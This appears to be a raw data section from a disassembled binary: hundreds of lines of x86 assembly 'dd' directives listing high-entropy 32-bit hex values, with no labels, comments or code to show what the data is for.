		dd 6BA0E25Fh, 0FE3A801h, 6CD1A023h, 8D339450h, 208F2B78h
		dd 8DB27F0Ch, 1328BA00h, 0ACBE26B2h, 0DBE73F32h, 0E8B5AAFh
		dd 0BFA588F7h, 66132A02h, 5BC0E112h, 0F05F0502h, 3C5662DAh
		dd 5877CB7Ch, 0E8595A23h, 1905E036h, 730255Ah, 7098F62h
		dd 0AB4B7C51h, 2D56DC9Fh, 93AA189Eh, 1A55B382h,	0A1EF8303h
		dd 0C620E7C1h, 35A44F39h, 0D6E3BA11h, 13C76882h, 27114D7Dh
		dd 14B88618h, 7AC45501h, 273EC035h, 5C10DDCh, 0E913F229h
		dd 0B88BE017h, 336FE01h, 677D6843h, 91054736h, 0BA60B67Ch
		dd 86AF9612h, 4F0108DBh, 81060597h, 84A79C48h, 0CB46BDCh
		dd 7832E1AAh, 7FC11234h, 522C0BB2h, 13CF10DEh, 0FE16555Fh
		dd 0BB37C1E1h, 9217F25Bh, 10C77C54h, 0E344DE23h, 0CFBA0052h
		dd 8173DA3Fh, 83FBBF2h,	608A6E60h, 0E99585E4h, 0F3654A4Bh
		dd 16B11083h, 7F96E50h,	31CED0ADh, 0FC76D2EBh, 0D22D8979h
		dd 48452069h, 432780C5h, 0C114B5B7h, 0A51AE6E0h, 4CD72864h
		dd 0C2FA4F74h, 78D9665Ch, 68CF021Dh, 97F31E28h,	3BB8C850h
		dd 45C0B81Eh, 7E3338E1h, 85E8BF4h, 716AC5DEh, 48830585h
		dd 0C7A10096h, 12C626C9h, 0D1DFF709h, 648500E7h, 7B274721h
		dd 31E91729h, 0B84CB463h, 1F74721Dh, 208B688Fh,	435B76CFh
		dd 81E300D1h, 739EA5F3h, 0DC2FE9ECh, 0A8DCF147h, 41652071h
		dd 14F75013h, 41BC1488h, 0B0AD20ADh, 0B735DA40h, 0E62513F4h
		dd 0B2D783AAh, 52EEDC6Bh, 3B21DB06h, 0E76BBF0Ch, 9D1CC667h
		dd 0E93BEC5h, 3D2F0EB1h, 68F8841Ch, 0A98C4D88h,	3096B050h
		dd 0EF7F329Eh, 511D4A9Fh, 9CA80162h, 5EF70888h,	698622C1h
		dd 0C5847D67h, 0BBBC60E9h, 68C04EB9h, 1F542F75h, 488B5F9Eh
		dd 0A407AB7h, 0D73B0BBh, 0A52EC7h, 1A5A6874h, 630AB850h
		dd 8033C707h, 0BD072310h, 0CB40183Ah, 5A3DBD00h, 0D4BD156Eh
		dd 0AC491248h, 0F0B75A85h, 4BDDBE50h, 0AB26FF3Ch, 2FB460B0h
		dd 30621FD5h, 0F2CF8102h, 601C8D4Dh, 0E3470652h, 2C29F13Bh
		dd 9EBA4B36h, 1762344Dh, 61447DC0h, 837A4895h, 831EA220h
		dd 0AF3E02C3h, 0A5B2AB85h, 8FEF5E59h, 0D1904EA1h, 5882502Bh
		dd 0E2017E6Ah, 32D85E92h
		dd 830EBA42h, 0E90D3D01h, 536E6B6h, 0EE1DDDBAh,	73AAA86Bh
		dd 12A9C25Fh, 0D2400896h, 0C3DA5E1Fh, 0B800C11Fh, 0E58EE504h
		dd 0C125EB35h, 4F13F8C6h, 0B04DF808h, 4FDC2DFAh, 0D831BB2Bh
		dd 3EA56EE6h, 0B0E3E59h, 51688231h, 6AE9010Dh, 70BE2AFDh
		dd 508E89Bh, 0F144E40Ch, 0BCB0A0Eh, 0EA81F094h,	225329FDh
		dd 1A86A0B6h, 0F7583A57h, 1C2787ECh, 0A443FB6Ch, 1FC30CC8h
		dd 107EA19h, 0C17E4C63h, 0BC09956Ah, 88147DC2h,	197BBF8h
		dd 17A368DBh, 64316188h, 41B2BF01h, 412F4624h, 1351034Bh
		dd 0F429202Ch, 0CEF4345Bh, 0EC5F130Ah, 0DAF4AA7Ch, 68561D51h
		dd 44CF0F23h, 0EB8B8985h, 76F60A32h, 272A2C51h,	217FED4h
		dd 6B452E01h, 0BF3B57DDh, 0C5DC7743h, 0C0EEECF0h, 0E9CF0121h
		dd 9B977B73h, 746BC987h, 72CC492Ah, 0D3C38D8h, 2C33381Dh
		dd 840B7835h, 90CD5843h, 2D8C4054h, 3F49110Fh, 565A4942h
		dd 0B87FC740h, 0F7D1290Bh, 7C287710h, 0C250F4B4h, 8B1D2F5Ch
		dd 55271FFCh, 57018D07h, 0D761A4E9h, 0A3D262ADh, 0B01CAEA0h
		dd 31176A69h, 0CF525FFDh, 0B5405BA8h, 7A2003D0h, 72D4E97Bh
		dd 0A2E7ED24h, 75F34212h, 0B4413913h, 66A105E4h, 43CB7E5Ah
		dd 455FC269h, 22FC2D8Eh, 0F4072A42h, 0DC107288h, 0C49F08D9h
		dd 25FEBCAEh, 0F2021FFEh, 0E1D58883h, 38FCEAB9h, 120FB9D7h
		dd 0DB52FEEBh, 6A186CC2h, 6340DF5Dh, 9B0B7BEAh,	9D78962h
		dd 806460A0h, 29B078F1h, 80F61757h, 8520D3B9h, 31FD4123h
		dd 0C51CA585h, 6013A808h, 68C71F15h, 0AEA1ACADh, 0E92FC2h
		dd 0C866E712h, 89255631h, 97D0F8FEh, 3793BAD3h,	3C88A0F9h
		dd 0B15B2B4Ch, 3196A2A1h, 6CC0B450h, 0C58000AEh, 0DDF62E01h
		dd 58AF3E0Ah, 0C71D955Eh, 2EFC047h, 0E912DFE5h,	0D6F76A47h
		dd 6C954F72h, 9559F20Ch, 270BB2E4h, 1574D08h, 2E380BEFh
		dd 5B46002Eh, 0E9DC8CEFh, 12103A49h, 10A885Ch, 84C9FD01h
		dd 0A1AC590Ch, 3B60C29Ch, 4FC01CCCh, 0C93E509Ah, 0EE93F77h
		dd 0AA1FF91Ah, 0F789AB2Dh, 48EC0AD1h, 5705C9A7h, 25689E34h
		dd 38E50A11h, 68E3F92Dh, 0D60E0BC5h, 493B5268h,	29637009h
		dd 81008FEh, 5FE0E904h,	89BBE9AAh, 0AE677701h, 588DB1A7h
		dd 99E4A654h, 0CA2D59DBh, 4A227104h, 0F571B06Fh, 1278760Bh
		dd 0CECBFD20h, 0A01454A9h, 802FCC3Fh, 476720B1h, 481E1719h
		dd 0A6647F09h, 0DA3103E1h, 0D7682043h, 0F3B95795h, 0DE8C3B02h
		dd 0EF825AC9h, 0CCB31667h, 0D9172E79h, 41083032h, 0FB0BC981h
		dd 747CC522h, 302D0024h, 1CF9E970h, 0D9B009B2h,	2F27A720h
		dd 0E070B9BAh, 245CF6B5h, 0C3E1DD5h, 0C5F60110h, 685A08A0h
		dd 84A93369h, 83ADDD4Dh, 7320D8D0h, 25217CBFh, 54C9D2E5h
		dd 234DE2C4h, 5DA8127Dh, 5DF4BB64h, 0CA7AE389h,	32E41056h
		dd 0EBF58000h, 0D059EC28h, 535090E7h, 6BBE6809h, 0B80C0F46h
		dd 5E562542h, 352B4177h, 48B12AB2h, 7F70F37Fh, 0C492774Dh
		dd 0F5BF5759h, 0F8DC8218h, 54B3B97Ch, 8078BAD2h, 0A598F701h
		dd 5B204A4Bh, 3B83BD55h, 5A7F7D74h, 0E9D890DDh,	53DF93EAh
		dd 18EFB300h, 58F901A3h, 0CE12175Fh, 0EBAF543Eh, 0E38CF38h
		dd 0F75A8A62h, 2D70FB55h, 388014D7h, 0BE4B5606h, 5FE944D8h
		dd 2987F983h, 0EDACD481h, 72F30717h, 0FA12D913h, 1AFAC831h
		dd 859AA26Ah, 76EB2325h, 10FCFB93h, 45845716h, 8E0545B8h
		dd 17C5665h, 372A73C9h,	0C2E26AD1h, 9584B1C5h, 9A94FE94h
		dd 0E5118B16h, 130A5698h, 68F859CEh, 22203DE1h,	985004D3h
		dd 9CC0FD53h, 587E691Fh, 8A60D008h, 749D6CBBh, 0FC640504h
		dd 80AE93E0h, 0D8315A81h, 232B8FBDh, 61BB616h, 8B0523C6h
		dd 9539580Eh, 31158920h, 0E98610D6h, 7AC96571h,	3F05E1B2h
		dd 90B13107h, 0D259CB03h, 352648ADh, 8A431DCEh,	53BF431Dh
		dd 98D00B9Bh, 0BD5A66E2h, 0C8A1F312h, 607628C4h, 743D0C06h
		dd 29257FADh, 3ED478E9h, 698046F8h, 2C32C5B8h, 0E82D3116h
		dd 2D60725Dh, 0D75209A4h, 0AF25B47Bh, 0BE65DF22h, 7B413580h
		dd 0AE50936Ah, 68580A0Fh, 0C2D716B9h, 0B0D9418Dh, 1E85449h
		dd 4CB43EB1h, 21F87F28h, 26D4F6C7h, 530708DCh, 0F3805AB3h
		dd 5BA52847h, 0F97CE0FBh, 2F5F2CECh, 0A474EEA8h, 0E08EF021h
		dd 0B65200D8h, 8EEC0A1h, 7A0BF680h, 1047D5E9h, 27740C15h
		dd 487439C9h, 2B1B9289h, 10B35CD5h, 575A0423h, 8094B068h
		dd 9D77182h, 30337877h,	0D911F905h, 0F4022D5Bh,	1630A30h
		dd 210442C8h, 595AD008h, 5C45E020h, 3494DE6Dh, 9B4CEE02h
		dd 5E774069h, 25350142h, 962CC966h, 0D65D0FB4h,	5339FE89h
		dd 8DF8270Eh, 4F70875Ah, 0E4DA8852h, 4BCEB0D0h,	35D9AE5Eh
		dd 0FA7E247Fh, 9825F7A8h, 1CBBD940h, 1484D699h,	24EE4619h
		dd 8B0804ECh, 681BD303h, 4CD57FE2h, 3FE9157Dh, 0C53BA764h
		dd 2907D792h, 5076EC05h, 28EE17C0h, 0F7A03D89h,	22778F2h
		dd 8E2447B0h, 0E684522Ch, 4FC0FFB8h, 58081BC6h,	4612AAF0h
		dd 3F2BEE5h, 9842BF93h,	0D67D516Bh, 0B067C571h,	81045849h
		dd 15B2C2F1h, 8C06D5C1h, 3BBF6800h, 2F37EFB5h, 0F4C55F7Ch
		dd 522F70F1h, 9DFBE722h, 0CDB2AB56h, 0D2E5C04h,	0C420AA5Ah
		dd 3F3A76B7h, 0E7934765h, 8561E002h, 75A88E2Fh,	0E916FD16h
		dd 8D24BDB6h, 1F2A3AAh,	345278C3h, 88DA010Ch, 0E22608E1h
		dd 0DC414111h, 134B2E3Ah, 9E20345Eh, 4F921D73h,	0E214C719h
		dd 82096A53h, 0C62E0D45h, 0A6DCB7A7h, 0DD762989h, 13D226B3h
		dd 594C7370h, 8DE24F95h, 5457E9A1h, 1216A9D1h, 0D2CC21A5h
		dd 110362C9h, 9FD5EF2h,	0C0E7D55Bh, 561060A6h, 11A0BA00h
		dd 0D1B94B52h, 98874614h, 41B80ED3h, 7E292F50h,	5F08E914h
		dd 0C25A829h, 55B1E407h, 6F3D91h, 4EF2D1Ah, 0CA9620E5h
		dd 40EB0720h, 3096E914h, 52642B9Dh, 4A1B9838h, 0BFFE1327h
		dd 7C5413DFh, 65791A75h, 32F2AA52h, 0E1D14113h,	5FE53BFh
		dd 0A8F35843h, 0ACFB2E65h, 7701DF0Bh, 688BC0E5h, 39A4FD69h
		dd 666EF1CDh, 7A68092Eh, 80019A05h, 0F849CE0Eh,	56BB043Dh
		dd 85C207B6h, 0BE4FD46h, 5BE20FE9h, 0B5AB2093h,	2583709h
		dd 0D878F1B5h, 4054BBE9h, 5C04F59Eh, 3111C975h,	0DA388AAh
		dd 80FD5B4Ch, 33BA773Fh, 0B7DA9831h, 50422F5Eh,	0A787CB57h
		dd 90914B76h, 0B19E014h, 0CE89B9D5h, 3DC28BF9h,	803005DAh
		dd 1DB551ADh, 5EF58016h, 6D71850Ah, 72685060h, 49349B1Eh
		dd 8C76C9FEh, 22E630A2h, 39E4EEB5h, 7D50F524h, 35308305h
		dd 10EFEE85h, 5E240857h, 0D454E9AEh, 9C3A5571h,	0D3675CA4h
		dd 0D44E9B6h, 72CBF5D2h, 4F093020h, 4B450F1h, 240A8858h
		dd 96AFF4E2h, 9309176h,	0A4EE3E7Ch, 33E88324h, 0F9759009h
		dd 0A48EEA09h, 2790E2CCh, 15CE10DFh, 66732F67h,	1C62A7F6h
		dd 7AD65DA5h, 2069F15Bh, 0A740B939h, 0F1B802F2h, 5EF08993h
		dd 785562D5h, 3540001Ch, 2794309Fh, 832CE948h, 7EA6B349h
		dd 7E26322Ch, 0B2C7F381h, 0DB61695Ah, 0DF2CACF4h, 0C5DC25EDh
		dd 4F18E4BFh, 0FB2D30AEh, 20E50871h, 2913B185h,	2AB42EB0h
		dd 61FD7687h, 0E66808D7h, 61316F0Dh, 0B0052A4Bh, 4F7FE84h
		dd 3687981h, 0C6F3F5C2h, 0A614D082h, 43F8F51Dh,	0C706E16Eh
		dd 0E5934903h, 0BA2A4B36h, 2AD42E93h, 2CAA5A55h, 0BA75453h
		dd 8A5EB6EAh, 0DCB5C272h, 0C0CC2502h, 0CC97A297h, 0E662AB1Fh
		dd 2FF3B3E9h, 0E5A77BD4h
		dd 8252E428h, 0C7DBE58Eh, 372F0A7h, 53525BBFh, 0BB95C788h
		dd 95BF6B64h, 5AEB0EE4h, 35E1FB52h, 76E568C8h, 0E9C9C57Fh
		dd 0D5AA5F17h, 548A5E8Bh, 49394B2Ah, 43FF68CFh,	1B522712h
		dd 0E9F01272h, 0BED0C0C3h, 333D3E8Ch, 73F7241Fh, 4AB0FDA5h
		dd 0D8823B1Ah, 0AC350B38h, 9A58013Dh, 5BD97D49h, 0A83AC9E1h
		dd 0DD5F2FFBh, 0E9179694h, 8D44AB3Eh, 0BB52782Eh, 546EF0A0h
		dd 1FF7BA36h, 7D8F7AE2h, 0B9271896h, 0D84D89C6h, 4CC59805h
		dd 4400C356h, 6835CF3Bh, 2BAA62BDh, 6F30D680h, 0BAFA1995h
		dd 91F9D717h, 0AFF405AEh, 97EDA390h, 0EFA040AAh, 1185E901h
		dd 252A9697h, 75E6A268h, 1A5DB801h, 592D4F4Bh, 21E90B86h
		dd 0C25A6718h, 949010EBh, 9F1CEA5Ah, 36CF02AFh,	98FCEC57h
		dd 46812DD6h, 7F3D4B5Bh, 0C4789148h, 65A073B6h,	0FE741DEEh
		dd 36CE4FC6h, 327BFC1Eh, 950619EBh, 0AE864BFFh,	3771F706h
		dd 147DFB2Ah, 0EF14243Bh, 0BD5E6CCAh, 96BC4FDEh, 9E15D281h
		dd 92D36B63h, 6800D4B9h, 82D5E9Ah, 89CFAFBEh, 9C79DDDCh
		dd 0C8186A80h, 0D7DAF746h, 2700EB04h, 5C3F4450h, 0ADFE9F2Dh
		dd 4347E906h, 0BC094A5Ch, 0F7F60248h, 55405F1Dh, 3D9B69E0h
		dd 51FE5781h, 0BD2D4073h, 5448B80Ah, 573C7B69h,	51198B55h
		dd 590B5560h, 34D58492h, 0DEE92715h, 0B54091E2h, 0F197B2EAh
		dd 0B5566969h, 0E4FDA7E2h, 7197061Fh, 364350C8h, 0DB49F10Ch
		dd 177B0C67h, 0E8475C44h, 73ED4AD0h, 329FAB1h, 0AA521D5Dh
		dd 0E285F3Fh, 241C0EFDh, 0A2542E2h, 0A25AD8DCh,	1F4D40h
		dd 0F52092B6h, 0C59FC097h, 0B1EBEE68h, 0D3DE6FE3h, 9890EB79h
		dd 3D1E73B9h, 0DC126AC2h, 0D57A2035h, 544B8447h, 52D172BEh
		dd 8957D1DDh, 0C8F888E9h, 4EF93139h, 83E094BBh,	534BDC0Dh
		dd 0C27E5FFAh, 52BE68DEh, 0CE0CC24Ch, 0D20B320Ah, 45BDBCBAh
		dd 0B338C759h, 0C1195314h, 680665EEh, 1D947A90h, 9ACB7EB4h
		dd 131C94B5h, 0B3703068h, 61D434EBh, 0EF92EDA6h, 589D88B3h
		dd 96F661B6h, 0BE8A9C13h, 0F877B0AFh, 0A0887998h, 0EC50EA80h
		dd 0C91DB0E0h, 589EC208h, 886CF2C1h, 89705AD1h,	6FE912FBh
		dd 0EAB5491Ch, 0B579187Dh, 62DDFE11h, 60DEC544h, 0A959490Fh
		dd 0EC09DFABh, 0A7764907h, 32C8DBBBh, 5080A967h, 0C3F2E557h
		dd 0CE97143Ch, 0C93D9D8Ch, 0CD2FE798h, 5F0E10E3h, 5C683ACAh
		dd 4B9469F7h, 0CB93580Bh, 0D20BEA9Ah, 9E5F975Dh, 84214F44h
		dd 778BAA2Ah, 7A88B72Fh, 303709A8h, 72972464h, 0E2F5EB63h
		dd 0AC2E1B6Ch, 7E542D3Bh, 0ADE47CA5h, 4EAE9E6Dh, 87448944h
		dd 0F4590B46h, 0F0680E3Eh, 1168EEB7h, 0F8464BDCh, 3EE9A50Fh
		dd 992CB441h, 16E9BC7Ah, 0FCFAA429h, 5A52BB40h,	0D2C95FBAh
		dd 0A8F7ABD1h, 0F7735D2Dh, 31BEB393h, 0D754A07Eh, 62F381D8h
		dd 2E5F4C00h, 4398C2BAh, 9260B76Bh, 5A4AD021h, 0B276D5A9h
		dd 580BBDAEh, 5EFA9677h, 811900ECh, 7C2EE1CFh, 27E4424Bh
		dd 0A76902F7h, 0FE091139h, 0AA2C057h, 5C27050Ch, 8202E3C1h
		dd 470A24A8h, 65EF1012h, 6E1D0905h, 0AF8234D9h,	5F31A31Ch
		dd 9800C153h, 0E917E030h, 12E5BC69h, 0A47FA866h, 5840382h
		dd 0A93DEA5Ch, 106AFD6Bh, 51280794h, 0F1AE5AC3h, 0F6942D18h
		dd 1C7CB774h, 0FA30AB68h, 9E4B09ADh, 0F657039Dh, 0FBFFFFB4h
		dd 0FC9FDF9Ch, 316152D7h, 0AD463412h, 4E4A1DECh, 0C6806BB2h
		dd 18134156h, 0AE0F2898h, 80017D50h, 84578ACEh,	0F8E91319h
		dd 0F288BC44h, 29AE683Fh, 0AB459DC8h, 0B9F91D93h, 31DA6786h
		dd 9893709Dh, 6BEC0CFDh, 5B7602A3h, 0D69595E2h,	0BE80B9D3h
		dd 0E9E1EAADh, 3CC9AC7Ah, 2AFF35Fh, 47863E05h, 0A04E80DFh
		dd 160DC40Ch, 0E971F1E9h, 0C241270Eh, 6001D985h, 4D442F68h
		dd 0E91359E8h, 0F6F2A3F9h, 0BB9A7A84h, 522B848Ch, 0A9482239h
		dd 0F2E9521Ch, 0CEB053F1h, 0CFFCE8B2h, 560A3BBAh, 917C3E68h
		dd 30EF2F93h, 0F6A2E99Fh, 4BDF109Dh, 0F06A5EDEh, 0D39AF594h
		dd 97C9CB7Dh, 2151A05Dh, 2255EF0h, 5C60126h, 45DE0C1h
		dd 27FF3129h, 56D882D5h, 55586BC6h, 9F844EC1h, 0E17DA8FBh
		dd 546B0629h, 0F91E4F97h, 8B5DED81h, 0A8D2D954h, 7F4B814h
		dd 981B63BFh, 2635A34Ah, 28F1B71Eh, 0D7594B89h,	93D01320h
		dd 41BFB6AFh, 883B423Bh, 0C49D5259h, 5B5148B2h,	0D6F75EA0h
		dd 55E1169Dh, 2D30A6EFh, 0D3F7800Ch, 0CB0990B8h, 2C16069h
		dd 0F173210Ch, 249809B0h, 5E82E071h, 4061D653h,	245C55BCh
		dd 3C5762D3h, 9F08EB28h, 30671C8h, 0C29BB69Fh, 7295E90Ch
		dd 7B625254h, 0AD46452Eh, 0A8684325h, 71BA4A55h, 6416E94Eh
		dd 0BF132D98h, 3509A460h, 265DF01Bh, 0EE95F55h,	0D3DD0DE7h
		dd 0D13C0134h, 3B2D8A06h, 17E90AC0h, 207D979Ch,	5B42044Bh
		dd 0A055950Ah, 0EC957B1Fh, 4ACAA90Dh, 0FF03EA11h, 3651EB98h
		dd 0DA186366h, 62B0942h, 0E9D6559Bh, 0D7209F0Bh, 7C245015h
		dd 62D3DC2Dh, 0FE7612C2h, 2DF6C6DAh, 0DB83DEE9h, 80045F54h
		dd 2AFC1407h, 85032882h, 0E1AAC706h, 405E9731h,	0A407D3B9h
		dd 0B2121A28h, 0EB0804F2h, 0EFD2CC03h, 105ED980h, 96BBA37Ah
		dd 0DDA2DFA8h, 0C3CFE957h, 0A3A4AD2Bh, 0EDAFD47Dh, 2769D1D0h
		dd 43EC55D2h, 0F991544Fh, 4D89432Dh, 308253E5h,	29023815h
		dd 490EEEEBh, 680B3066h, 83EC27AEh, 0C108B390h,	37F1F12h
		dd 71FC7515h, 7D27E6B0h, 649902Ch, 8F4EAE00h, 0BDDEF74Dh
		dd 0E989CA79h, 68A0A1F6h, 158966E1h, 155E5017h,	209E4C7Ah
		dd 455AFD57h, 43681642h, 9724C2Ch, 749F3259h, 702D775Eh
		dd 8EB179Dh, 823F014Bh,	47579B07h, 87B070B6h, 0DD4E29AAh
		dd 0EF3DD7AFh, 50E33112h, 80F16AB4h, 6AE3F5h, 28E6B5EAh
		dd 569759EBh, 0D8B47827h, 0A57CFB9Fh, 254F36DDh, 0DDA0B6E9h
		dd 65E017C6h, 9EB524Fh,	0E281DF78h, 0EEF83608h,	0E07D458h
		dd 29FCE72Fh, 483AE9F1h, 71B1548Bh, 0F52D70F6h,	0FC51A9B9h
		dd 0E148C019h, 0D65F2518h, 9D4C2A1Fh, 82DB9BF4h, 488683C3h
		dd 9930AB80h, 0D72F1EEBh, 0EE105D77h, 7D696FD4h, 2909FBD3h
		dd 67C4D03h, 20E643E9h,	0DEE05B5Fh, 1E597FF8h, 5E972C15h
		dd 520F7AC8h, 0BE57B050h, 2E862305h, 5FC9EEA8h,	2781CD00h
		dd 35353299h, 0B2EA0B85h, 3E90B37h, 0C31968EDh,	0D3BE8022h
		dd 6658D798h, 0E741A65h, 112A41ABh, 49A4CB55h, 22F50681h
		dd 0C23AA310h, 1967931Eh, 5EEA29C9h, 0E9F258F0h, 44F8BB30h
		dd 325943B8h, 2C661C3Ah, 25235F6h, 5195C0E5h, 55B3019Fh
		dd 0C118C180h, 0D62E31D9h, 0A3C89285h, 665203FAh, 4D655C68h
		dd 8A5EB520h, 0A305B35h, 0D64275E9h, 749BA428h,	2DB80516h
		dd 6EBCD153h, 1079A1h, 934FBF68h, 619302BAh, 82606D7Bh
		dd 0AB3B0E7Dh, 0C2E3032Fh, 36DF4Dh, 67DDF818h, 0BF08E9B8h
		dd 417B4C9Dh, 72A83089h, 0EF188A82h, 3FC6973Ch,	0BDB530EFh
		dd 7A276EBAh, 82DC2Ch, 0E3CD814Dh, 104EFF3Ah, 0EAE93980h
		dd 0E92FE12Bh, 0A975CBD3h, 0F0F37F2Ch, 0C229DFEBh, 0BB74D1D5h
		dd 0AEE8E0DBh, 66066A16h, 7BB10FBh, 0C4E95E04h,	0B02F8835h
		dd 0E3D015Fh, 662A7429h, 97494D6h, 26F0FCE9h, 77A5C993h
		dd 0BB5C366Ch, 0C83984ABh, 1652B2EEh, 12FB5B70h, 0EBF917FDh
		dd 0EF2FFE2Dh, 0ACBC6464h, 578DFFD2h, 27216A61h, 0A92F6A61h
		dd 0DB247ABDh, 0C88B501Dh, 0EF0FD559h, 16E7D566h, 0D32D9536h
		dd 0BD5C9F0Ch, 0B419F501h
		dd 0FCDC13B0h, 12EE2540h, 7825A58h, 681B215Fh, 0E90169E2h
		dd 2F512565h, 75D804ADh, 43944E87h, 0B4DF0549h,	0BF2D04A0h
		dd 193DE7F4h, 0DEC50C41h, 0D707892Ch, 0E42EEB56h, 53BB093h
		dd 0F30E3801h, 2DD00103h, 67BA0744h, 6355C96Fh,	0AA464AD7h
		dd 35E9E302h, 787D91Eh,	0B420478Fh, 0B313FE4Bh,	5D4806B6h
		dd 3E7F417Ch, 995D301h,	0B52E030Bh, 40805BBh, 12560228h
		dd 3821A2BEh, 0D77C4184h, 0F7825C53h, 956268F9h, 63642156h
		dd 0AD03CEE8h, 0DC591005h, 471950DFh, 57F44E2Dh, 80FB452Ch
		dd 49E9D804h, 0C24B19BDh, 8BD0F4ABh, 0E53525FFh, 1209F370h
		dd 5C55515Dh, 0BD0B1648h, 6EE50379h, 0B014D532h, 302CEBEDh
		dd 20C6AE1h, 9485706h, 350179DDh, 0BAE93E83h, 277BFF19h
		dd 0CEA94939h, 0BD30BFF0h, 2B91EA7h, 38261A6Dh,	72401A49h
		dd 5137336h, 8FADE954h,	5F486809h, 51881B51h, 0EBBA122Dh
		dd 0D6291081h, 416A59F1h, 88A0C65Ah, 0CB9BFFF1h, 0CC6982E5h
		dd 84826FC2h, 296E249Fh, 527ACAC0h, 63E93BADh, 5B7197Ch
		dd 0C480B2D1h, 0FE3F9FF2h, 3C4498CAh, 39A8F135h, 8ACC905Bh
		dd 0CC05EB4Bh, 0C8AFCB29h, 0F6FC461Bh, 89CD0809h, 0F14E81B6h
		dd 35217043h, 0F37F55F5h, 14C812EAh, 13F4A90h, 290B256Ah
		dd 0ACA6655Dh, 68030289h, 6DF5272Ah, 68602DEBh,	20121E85h
		dd 8FA5E29h, 67004E14h,	0E976A3BCh, 76DE9AE7h, 3DEC2653h
		dd 0E8C196B2h, 0DCF74FEAh, 0B5271650h, 522A394Fh, 1D90720h
		dd 555D6851h, 6E597549h, 0B3E0CF0h, 0A3E94DB6h,	48BAA970h
		dd 1307A73h, 0B2CEA439h, 659270Fh, 0B5C64E55h, 5CA736F1h
		dd 0E6D10970h, 250F5C70h, 56238A61h, 54D75FAh, 6505697Eh
		dd 0F48ABE5Fh, 0E2CE5C26h, 0F527ACC6h, 12E2E4F3h, 425DEBE8h
		dd 73C53483h, 0D03AB1FEh, 96975B08h, 846F5E06h,	4E31EFD9h
		dd 0B900CBCEh, 0B3013B78h, 0FE13BD6Eh, 0D4FC011Eh, 0EB1ED292h
		dd 0A560E929h, 0B8DD582Ch, 0AEEEC627h, 8933089Fh, 0FD9DE420h
		dd 64BD0C9Ch, 393C44CDh, 0A295FE71h, 5D546845h,	828B50D1h
		dd 0A7F9D3ACh, 0E4C1075h, 2C5921Ah, 0EA0837F5h,	7E7B5159h
		dd 0D2F60104h, 7736AA92h, 47D7CF09h, 10CB247Eh,	7813B8Dh
		dd 0E7A3D050h, 0DA2053B2h, 683C122Dh, 8844EE66h, 0F1B95808h
		dd 3056B007h, 221AB2C7h, 0FDC3CE5Fh, 82962670h,	0A459D45Dh
		dd 0BDB10ECh, 455505Ah,	93E19DC3h, 0D3BD1080h, 0B809C42Ch
		dd 0FA4ADD0Ah, 83C2E85Ch, 95E10FBAh, 0E9B07AF0h, 0B4E581E0h
		dd 66E32851h, 626C4820h, 0FD7EB53Ch, 0B292BB8Ch, 58D1AF40h
		dd 761033E2h, 8ABA02F3h, 616528E8h, 21057CD0h, 6BB5482Ch
		dd 0FAE8DCD9h, 4964BC15h, 2180017Dh, 4B771C6Fh,	172CB848h
		dd 0A825BB45h, 0AD365B0Bh, 0C5B3E92Ch, 68504AACh, 0F31B972Dh
		dd 2F12A0C1h, 32591830h, 833A121Ah, 806F04EDh, 4168035Dh
		dd 580BA820h, 0D36F0935h, 9484F494h, 78CEEA21h,	0D96523Fh
		dd 0C60AB41Ch, 9C10703Dh, 0FF794E50h, 5BB6CA49h, 29B4DF4Bh
		dd 0C6895712h, 45A2AB75h, 0ED680500h, 71BE348h,	7C792CB3h
		dd 44AB26D5h, 12DE478Ch, 99B571AFh, 0AAE544FCh,	0D0F775C0h
		dd 4DD90F25h, 1CE566D5h, 0EFDC35C3h, 55199749h,	0F0AF9651h
		dd 0D6DE95D5h, 4A9CE970h, 2FEFCD81h, 67C7C2A4h,	72F1B902h
		dd 1C49D7F0h, 0F6912BCAh, 0DD51213Eh, 0FB78386Ah, 51F568B0h
		dd 0B40BDAACh, 47DD115h, 9B10BA6Dh, 2C05C150h, 3874C56h
		dd 7B699079h, 6EA3F8D9h, 4710BB8Ah, 0C9592F92h,	17A38DCh
		dd 7D27BE65h, 427520E4h, 71FE734Bh, 34611006h, 5B25D8F6h
		dd 5D8A7505h, 0C8F92FB8h, 0CDBB8EC5h, 99BFE05Bh, 0E32C0592h
		dd 0D702D907h, 0E943D1DDh, 17AE192h, 66AE04EFh,	0A484205Bh
		dd 0F07B1A41h, 0E6008130h, 6FC47E0Dh, 0BC6BA52h, 936B91Eh
		dd 609E27Eh, 65D5F6FCh,	415A89C2h, 6AC695E9h, 0B25B54B3h
		dd 89497EB7h, 90680ED3h, 0D6620977h, 0C40C27Fh,	2F08CC7Dh
		dd 17E67EEEh, 0EB0BA09Ch, 254F4572h, 549D4016h,	0B2124999h
		dd 127485Fh, 0B163B0FDh, 20242489h, 4390B7C8h, 0F6178205h
		dd 0F609FAB5h, 27587212h, 94F76735h, 4D31FAE7h,	8F08A74Fh
		dd 77243042h, 3D2C912Fh, 3F64D0CCh, 78AEDF21h, 1B49732h
		dd 0B658E1E2h, 3ACEC1F3h, 0FFF40EE8h, 3026352Bh, 0A3E0829h
		dd 4E93040Eh, 2CD80711h, 807CD149h, 0C5806AB5h,	0D55A86FFh
		dd 224C8EADh, 1C5F427h,	0B9A32526h, 0CAAA5E93h,	2399178Ah
		dd 224530FFh, 115BF24Ah, 37AAAE12h, 650ECCE5h, 0E82FDD02h
		dd 5D75EBE9h, 68C10251h, 4B3209F0h, 54778275h, 0A1004B1Ch
		dd 4A1C423Ah, 0EA7FE93Eh, 0D38CC423h, 0BEDD5C7h, 286210BDh
		dd 1BDE81D7h, 0F5217EBFh, 5A57B2E4h, 104DBD01h,	8826E1A5h
		dd 0EC62133Bh, 8DDE4F10h, 60D9EB4Eh, 814C5A30h,	0C0FF7052h
		dd 68391D1Fh, 46C6AF39h, 0C56A97E0h, 0D46CD3DCh, 0B750037h
		dd 0F79BE40h, 0F6BD0203h, 0BCF5253Dh, 0B066BF9Eh, 9C0E4D24h
		dd 2D5DE885h, 0A21271B2h, 9839FB82h, 12DFAC2Eh,	6402F9A3h
		dd 0D534875Ah, 43FE7D4Ch, 649D0B4Fh, 49424C30h,	0AC4A9B1Dh
		dd 0C07310D8h, 0C9E3811Fh, 0BBE04B45h, 0EE0B0192h, 0E3EB831Bh
		dd 15B5F95Ch, 0F4892442h, 0D2F292E0h, 0C9482C24h, 4400F6B9h
		dd 0EE819693h, 609C4622h, 73920C67h, 12C5563h, 8209BCEh
		dd 25140CD0h, 0BE095D59h, 76021B74h, 5A3D1877h,	74E4A03h
		dd 75C3580Ah, 68834520h, 54F610h, 39C3566Eh, 0C3A103E9h
